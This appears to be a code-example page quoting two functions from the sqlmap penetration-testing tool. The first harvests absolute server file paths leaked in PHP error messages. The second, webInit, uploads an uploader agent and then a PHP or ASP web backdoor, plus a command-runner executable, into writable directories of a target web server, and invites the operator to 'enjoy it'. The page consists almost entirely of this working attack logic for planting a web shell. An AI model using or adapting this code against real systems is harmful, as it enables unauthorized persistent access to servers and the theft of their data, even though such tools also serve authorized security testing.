Ejemplo n.º 1
0
def parseResponse(page, headers):
    """
    @param page: the page to parse to feed the knowledge base htmlFp
    (back-end DBMS fingerprint based upon DBMS error messages return
    through the web application) list and absFilePaths (absolute file
    paths) set.
    """

    if headers:
        headersParser(headers)

    if page:
        htmlParser(page)

        # Detect injectable page absolute system path
        # NOTE: this regular expression works if the remote web application
        # is written in PHP and debug/error messages are enabled.
        absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line",  r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)" )

        for absFilePathRegExp in absFilePathsRegExp:
            reobj = re.compile(absFilePathRegExp)

            for match in reobj.finditer(page):
                absFilePath = match.group("result").strip()
                page = page.replace(absFilePath, "")
                if isWindowsPath(absFilePath):
                    absFilePath = posixToNtSlashes(absFilePath)
                if absFilePath not in kb.absFilePaths:
                    kb.absFilePaths.add(absFilePath)
Ejemplo n.º 2
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webUploaderUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the uploader agent"
        logger.info(infoMsg)

        message = "which web application language does the web server "
        message += "support?\n"
        message += "[1] ASP%s\n" % (" (default)" if kb.os == "Windows" else "")
        message += "[2] PHP%s\n" % ("" if kb.os == "Windows" else " (default)")
        message += "[3] JSP"

        while True:
            choice = readInput(message, default="1" if kb.os == "Windows" else "2")

            if not choice or choice == "2":
                self.webApi = "php"
                break

            elif choice == "1":
                self.webApi = "asp"
                break

            elif choice == "3":
                errMsg = "JSP web backdoor functionality is not yet "
                errMsg += "implemented"
                raise sqlmapUnsupportedDBMSException(errMsg)

            elif not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > 3:
                logger.warn("invalid value, it must be 1 or 3")

        kb.docRoot = getDocRoot(self.webApi)
        directories = getDirs(self.webApi)
        directories = list(directories)
        directories.sort()

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedTemporaryFile(
            os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName
        )
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        uploaderName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "uploader.%s_" % self.webApi))

        for directory in directories:
            # Upload the uploader agent
            self.__webFileInject(uploaderContent, uploaderName, directory)

            requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/")
            if isWindowsPath(requestDir):
                requestDir = requestDir[2:]
            requestDir = normalizePath(requestDir)

            self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            self.webUploaderUrl = "%s/%s" % (self.webBaseUrl.rstrip("/"), uploaderName)
            self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
            uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)

            if "sqlmap file uploader" not in uplPage:
                warnMsg = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            infoMsg = "the uploader agent has been successfully uploaded "
            infoMsg += "on '%s' ('%s')" % (directory, self.webUploaderUrl)
            logger.info(infoMsg)

            if self.webApi == "asp":
                runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                runcmdStream = decloakToNamedTemporaryFile(
                    os.path.join(paths.SQLMAP_SHELL_PATH, "runcmd.exe_"), runcmdName
                )
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace(
                    "RUNCMD_EXE", runcmdName
                )
                backdoorStream.file.truncate()
                backdoorStream.read()
                backdoorStream.seek(0)
                backdoorStream.write(backdoorContent)

                if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                    self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip("/"), backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.__webFileStreamUpload(
                    backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory
                ):
                    warnMsg = "backdoor hasn't been successfully uploaded "
                    warnMsg += "with uploader probably because of permission "
                    warnMsg += "issues."
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for uploader? [y/N] "
                    getOutput = readInput(message, default="N")

                    if getOutput in ("y", "Y"):
                        self.__webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
                self.webDirectory = directory

            infoMsg = "the backdoor has probably been successfully "
            infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
            infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
            logger.info(infoMsg)

            break